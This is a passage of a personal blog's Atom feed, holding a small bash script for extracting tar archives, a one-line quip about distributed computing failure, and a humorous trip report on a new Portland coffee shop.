class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;outd&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;abspath &lt;span class=&#34;sb&#34;&gt;``&lt;/span&gt;basename &lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt; .tgz&lt;span class=&#34;sb&#34;&gt;``&lt;/span&gt; &lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;target&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;abspath &lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;extracting to &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$outd&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;mkdir -p &lt;span class=&#34;nv&#34;&gt;$outd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$outd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; tar -zxvf &lt;span class=&#34;nv&#34;&gt;$target&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is available as a Gist here: &lt;a href=&#34;https://gist.github.com/thoward/5201546&#34;&gt;https://gist.github.com/thoward/5201546&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Simple untar script that does the obvious thing and creates a directory named after the tar file, then extracts a tar in that directory. This is a handy to install in user scope to augment tar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#/bin/bash&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# cross platform absolute path function&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;abspath&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;o&#34;&gt;[[&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; /* &lt;span class=&#34;o&#34;&gt;]]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$PWD&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;#./&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;outd&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;abspath &lt;span class=&#34;sb&#34;&gt;``&lt;/span&gt;basename &lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt; .tgz&lt;span class=&#34;sb&#34;&gt;``&lt;/span&gt; &lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;target&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;abspath &lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;extracting to &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$outd&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;mkdir -p &lt;span class=&#34;nv&#34;&gt;$outd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$outd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; tar -zxvf &lt;span class=&#34;nv&#34;&gt;$target&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is available as a Gist here: &lt;a href=&#34;https://gist.github.com/thoward/5201546&#34;&gt;https://gist.github.com/thoward/5201546&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Troy Howard&#39;s Law of Distributed Computing Failure</title>
		<id>https://blog.thoward37.me/articles/troy-howards-law-of-distributed-computing-failure</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/troy-howards-law-of-distributed-computing-failure" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/troy-howards-law-of-distributed-computing-failure" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/troy-howards-law-of-distributed-computing-failure" type="text/html"></link>
		<published>2012-10-15T12:51:46+00:00</published>
		<updated>2012-10-15T12:51:46+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;blockquote&gt;&#xA;&lt;p&gt;The more reliable the network becomes, the more that systems will take it for granted and the more catastrophic system failures will be.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h5 id=&#34;--troy-howard&#34;&gt;- Troy Howard&lt;/h5&gt;&#xA;</summary>
		<content type="html">&lt;blockquote&gt;&#xA;&lt;p&gt;The more reliable the network becomes, the more that systems will take it for granted and the more catastrophic system failures will be.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h5 id=&#34;--troy-howard&#34;&gt;- Troy Howard&lt;/h5&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Barista Downtown: Trip Report</title>
		<id>https://blog.thoward37.me/articles/barista-downtown-trip-report</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/barista-downtown-trip-report" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/barista-downtown-trip-report" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/barista-downtown-trip-report" type="text/html"></link>
		<published>2012-07-24T00:00:00+00:00</published>
		<updated>2012-07-24T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;In our little corner of downtown Portland, good coffee isn&#39;t hard to find. We&#39;ve got &lt;a href=&#34;http://stumptowncoffee.com/location/portland/downtown/&#34;&gt;some&lt;/a&gt; &lt;a href=&#34;http://www.spellacaffe.com/&#34;&gt;amazing&lt;/a&gt; &lt;a href=&#34;http://www.bluecollarbaking.com/&#34;&gt;options&lt;/a&gt; within only a few blocks of &lt;a href=&#34;http://blog.appfog.com/welcome-to-the-new-appfog-world-hq/&#34;&gt;our office&lt;/a&gt;. Nonetheless I was very excited for the &lt;a href=&#34;https://twitter.com/baristapdx/status/227451683557490690&#34;&gt;opening of new Barista location&lt;/a&gt; about 1/2 a block away. So excited, that I took a field trip with a bunch of my coworkers to go check it out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I decided to document the trip so I could report back to &lt;a href=&#34;http://www.twiceten.com/&#34;&gt;Chris Tacy&lt;/a&gt;, one of the AppFog folks base in SF (who also happens to be &lt;em&gt;General Manager, Retail&lt;/em&gt; for Stumptown and super into coffee in general).&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-trip&#34;&gt;The Trip&lt;/h3&gt;&#xA;&lt;p&gt;During the trip, my fellow explorers were &lt;a href=&#34;https://github.com/rsese&#34;&gt;Robert&lt;/a&gt;, &lt;a href=&#34;http://www.davidkofahl.org/&#34;&gt;Kofahl&lt;/a&gt;, and &lt;a href=&#34;https://twitter.com/lucperkins&#34;&gt;Luc&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;coffee-explorers.jpg&#34; alt=&#34;Coffee explorers, in the elevator&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can see the excitement in their eyes as Robert does a mandatory tie check, Kofahl inspects the wallet, and Luc stares into the abyss, waiting for it to start staring back.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;sidewalk-foggers.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;em&gt;Shot from sidewalk in front of AppFog&#39;s old office.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Though we are pretty close in our new office, the &lt;em&gt;old&lt;/em&gt; office is even closer. In fact, it&#39;s literally next door to the new Barista spot. Unfortunately for us, we moved out right before they opened. &lt;a href=&#34;http://janrain.com&#34;&gt;Janrain&lt;/a&gt;, however is in the same building, and has primo access to this spot. I imagine we&#39;ll be running into those folks a lot here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;sidewalk-sign.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;A frame sidewalk sign, outdoor seating in upper right corner, hipster bike behind sign.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;While walking around Portland, look out for this sign. You can be assured good coffee will be inside.&lt;/p&gt;&#xA;&lt;p&gt;At this point Luc, who had been staring into the abyss this whole time, finally caught it staring back. But to his surprise, it was the abyss in his empty stomach, not his soul (or whatever &lt;a href=&#34;http://en.wikipedia.org/wiki/Ahab_(band)&#34;&gt;metal-ass shit&lt;/a&gt; he expected it to be) and so, Luc bailed to go get food instead of joining us for coffee. No one said this would be an easy journey. Many valiant explorers have been lost before, in less than half a block, with lesser impressive coffee destinations ahead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;entering-shop.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Entering the shop&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you walk in from the sidewalk, there&#39;s a small hallway, and the entry to the shop is to your left through a normalish door. This creates a bit of a weird traffic pattern, since the ordering spot is right by the door, and so whoever is ordering is essentially blocking the entrance.&lt;/p&gt;&#xA;&lt;p&gt;Whatever. Older spaces cause weird traffic patterns. I&#39;m completely OK with that. Really.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;shoegaze.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Tiled floor, Troy&#39;s shoes on left, Kofahl&#39;s on right.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;One of my favourite genres of music is shoegaze, equally for it&#39;s use of guitar effect pedals, as for it&#39;s mopey demeanour and the fact that you get to check out lots of sweet tile jobs. This place delivers on the tile job. Nice looking floor, and cool indie-rocker shoes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;employees.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Three employees. The cash register operator, back-liner, and machine operator&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This place is not slacking when it comes to labour cost overhead. They&#39;ve got three extremely talents folks in what looks like a roughly 6x20 space. By all appearances, they run a tight ship.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;inside-out.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Standing at counter, looking out towards street.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The space that the shop is in, is an old commercial storefront in the ground floor of an office building.&lt;/p&gt;&#xA;&lt;p&gt;In days past, these street-level stores had great display areas to entice and delight window-shoppers as they walked by to pop in and buy a hat, watch, dress, or whatever.&lt;/p&gt;&#xA;&lt;p&gt;In the front of space there is a large bay window with floor-to-ceiling glass, and super tall ceilings. Instead of eye-catching wares, the window is lined by thin marble topped standing-only counters.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;bean-bags.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Some beans for sale&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Like any good coffee shop, they also sell beans. Today they had beans for sale from &lt;a href=&#34;http://www.heartroasters.com/&#34;&gt;Heart&lt;/a&gt; and &lt;a href=&#34;http://coavacoffee.com/&#34;&gt;Coava&lt;/a&gt;, which are two of my favourite local roasters. One of the great things about &lt;a href=&#34;http://www.baristapdx.com/&#34;&gt;Barista&lt;/a&gt; is that unlike many of the local shops, they &lt;em&gt;don&#39;t&lt;/em&gt; roast their own beans. Instead they offer a selection of some of the best beans available (both local and not).&lt;/p&gt;&#xA;&lt;p&gt;Variety is always nice, and I love it when I get to try something new and learn about a new roaster.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;counter-ordering.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Standing at counter, our orders being taken&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;On to the order. For Kofahl and I; macchiatos. For Robert, a soy-mocha. There were multiple bean selections available, but being trusting folks, we went with &amp;quot;barista&#39;s choice&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;machine.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The barista at work. La Marzocco machine, including kitschy sign&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;One the counter to the left, in all it&#39;s steam-plume-spouting glory is a brand spanking new &lt;a href=&#34;http://www.lamarzoccousa.com/portfolio/strada-mp/&#34;&gt;La Marzocco Strada MP&lt;/a&gt; machine, this one in matte black. An impressive machine, with an impressive barista wielding it&#39;s power.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-scratch.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Bad picture of Kofahl&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Meanwhile, Kofahl poses for a picture... not really.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-better.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Better picture of Kofahl, plus finger&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Kofahl is disappointed with my terrible phone-photography skills. I can understand that. My finger agrees.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;world-clocks.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Hallway just outside of the shop&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;While our drinks are being made, I go for a little wander around the grounds. Just outside in the hall, there is a row of &amp;quot;world clocks&amp;quot; for various Portland city locations around the US... and here I thought we were the only one! ;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-profile.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Kofahl, in profile, barista prepares our beverages in background&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make up for my terrible attempts at catching Kofahl in an action shot earlier, I try to take a more flattering picture. Yeah, I&#39;m not really very good at this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;robert-patient.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Robert, waiting patiently for his beverage. Barista close to completion, saucer and spoon prepped&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Quality takes time and appreciating quality takes patience. Robert, a support engineer, is a paragon of patience.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-lightsucker.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Kofahl, sucking light out of barista&#39;s head&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Meanwhile, Kofahl busies himself by sucking the knowledge out of the barista&#39;s head, which manifest as a stream of light. OK, maybe not really, but I enjoy the accidental imagery.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-sipping.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Kofahl sipping his macchiato. Robert&#39;s hands form a spiky heart, cellphone pendulous in his shirt pocket. The tile floor remains in place.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first of our drinks arrive and Kofahl enjoys the honour of the initial sip. We watch pensively, jealously imagining how awesome the experience must be, living vicariously.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;post-sip.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The macchiato post-sip. Portland buildings from across the street reflected in marble top&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;That first sip was too intense. Kofahl needs to take a break. We discuss in abstract terms. I think his brain can&#39;t quite process the coffee&#39;s greatness. Kofahl summarizes, &amp;quot;Pretty good&amp;quot;; the understatement of the century?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;pre-sip.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Troy&#39;s macchiato pre-sip. Foamy top bulges against hydrogen bonding. Physics losing the battle against barista skills.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;My macchiato arrives and I take a moment to capture it in its pre-sip state. A beautiful bulge of milky foam sets on top, barely contained by the diminutive cup. A wonderful presentation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;So, my personal overall conclusion? It&#39;s the best coffee-shop within one block of our offices. IMO, one of the best downtown. I&#39;ll still head over to &lt;a href=&#34;http://www.bluecollarbaking.com/&#34;&gt;Blue Collar Baking&lt;/a&gt; for their amazing bundt cakes, and because they use &lt;a href=&#34;http://www.wateravenuecoffee.com/&#34;&gt;Water Avenue Coffee&lt;/a&gt;, which is one of my favourite roasters in town. There is no compelling reason to go to &lt;a href=&#34;http://stumptowncoffee.com/location/portland/downtown/&#34;&gt;Stumptown on 3rd&lt;/a&gt; unless you wish to sit down and work (which is not possible at this location).&lt;/p&gt;&#xA;&lt;p&gt;The setup is very much like &lt;a href=&#34;http://www.spellacaffe.com/&#34;&gt;Spella&lt;/a&gt; (though larger); Italian style, standing room only, with minimal outdoor seating. You&#39;re meant to get a quick espresso/macchiato, and lounge standing-up with your conversation partner while you sip. The whole experience should take no more than 10 minutes. In and out, a quick diversion on your way to somewhere else.&lt;/p&gt;&#xA;&lt;p&gt;The service was fast and friendly. When we arrived at ~1:15pm on a Tuesday, there were a total of 6 other patrons (three sets of two). This low traffic is probably due the fact that they just opened up. We&#39;ll keep track of how the traffic increases as awareness grows.&lt;/p&gt;&#xA;&lt;h3 id=&#34;some-other-random-comments&#34;&gt;Some Other Random Comments&lt;/h3&gt;&#xA;&lt;p&gt;Kofahl and I were both very pleased with our coffee. My feeling is that it still has a &#39;new machine&#39; taste, which means, to me, that it has a very clear presentation of the coffee&#39;s body with an understated &#39;creaminess&#39;. To me, it seems that as a machine gets broken in, over the course of the first few months of heavy use, that the character of the coffee changes a bit, providing a more blended flavour with a stronger &#39;creaminess&#39;. These of course, are just my made up ways of describing something that I really have no idea how to talk about. It&#39;s also possible I&#39;m completely imagining this and just looking for reasons to say pretentious things.&lt;/p&gt;&#xA;&lt;p&gt;Kofahl comically scraped the last of the coffee out of the cup with his little spoon, because it was that good. I used my finger.&lt;/p&gt;&#xA;&lt;p&gt;Robert comments that the soy-mocha was the best he has ever had. Not sweet, some cinnamon notes in the chocolate. Very smooth.&lt;/p&gt;&#xA;&lt;p&gt;We are pleased.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;In our little corner of downtown Portland, good coffee isn&#39;t hard to find. We&#39;ve got &lt;a href=&#34;http://stumptowncoffee.com/location/portland/downtown/&#34;&gt;some&lt;/a&gt; &lt;a href=&#34;http://www.spellacaffe.com/&#34;&gt;amazing&lt;/a&gt; &lt;a href=&#34;http://www.bluecollarbaking.com/&#34;&gt;options&lt;/a&gt; within only a few blocks of &lt;a href=&#34;http://blog.appfog.com/welcome-to-the-new-appfog-world-hq/&#34;&gt;our office&lt;/a&gt;. Nonetheless I was very excited for the &lt;a href=&#34;https://twitter.com/baristapdx/status/227451683557490690&#34;&gt;opening of new Barista location&lt;/a&gt; about 1/2 a block away. So excited, that I took a field trip with a bunch of my coworkers to go check it out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I decided to document the trip so I could report back to &lt;a href=&#34;http://www.twiceten.com/&#34;&gt;Chris Tacy&lt;/a&gt;, one of the AppFog folks base in SF (who also happens to be &lt;em&gt;General Manager, Retail&lt;/em&gt; for Stumptown and super into coffee in general).&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-trip&#34;&gt;The Trip&lt;/h3&gt;&#xA;&lt;p&gt;During the trip, my fellow explorers were &lt;a href=&#34;https://github.com/rsese&#34;&gt;Robert&lt;/a&gt;, &lt;a href=&#34;http://www.davidkofahl.org/&#34;&gt;Kofahl&lt;/a&gt;, and &lt;a href=&#34;https://twitter.com/lucperkins&#34;&gt;Luc&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;coffee-explorers.jpg&#34; alt=&#34;Coffee explorers, in the elevator&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can see the excitement in their eyes as Robert does a mandatory tie check, Kofahl inspects the wallet, and Luc stares into the abyss, waiting for it to start staring back.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;sidewalk-foggers.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;em&gt;Shot from sidewalk in front of AppFog&#39;s old office.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Though we are pretty close in our new office, the &lt;em&gt;old&lt;/em&gt; office is even closer. In fact, it&#39;s literally next door to the new Barista spot. Unfortunately for us, we moved out right before they opened. &lt;a href=&#34;http://janrain.com&#34;&gt;Janrain&lt;/a&gt;, however is in the same building, and has primo access to this spot. I imagine we&#39;ll be running into those folks a lot here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;sidewalk-sign.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;A frame sidewalk sign, outdoor seating in upper right corner, hipster bike behind sign.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;While walking around Portland, look out for this sign. You can be assured good coffee will be inside.&lt;/p&gt;&#xA;&lt;p&gt;At this point Luc, who had been staring into the abyss this whole time, finally caught it staring back. But to his surprise, it was the abyss in his empty stomach, not his soul (or whatever &lt;a href=&#34;http://en.wikipedia.org/wiki/Ahab_(band)&#34;&gt;metal-ass shit&lt;/a&gt; he expected it to be) and so, Luc bailed to go get food instead of joining us for coffee. No one said this would be an easy journey. Many valiant explorers have been lost before, in less than half a block, with lesser impressive coffee destinations ahead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;entering-shop.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Entering the shop&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you walk in from the sidewalk, there&#39;s a small hallway, and the entry to the shop is to your left through a normalish door. This creates a bit of a weird traffic pattern, since the ordering spot is right by the door, and so whoever is ordering is essentially blocking the entrance.&lt;/p&gt;&#xA;&lt;p&gt;Whatever. Older spaces cause weird traffic patterns. I&#39;m completely OK with that. Really.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;shoegaze.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Tiled floor, Troy&#39;s shoes on left, Kofahl&#39;s on right.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;One of 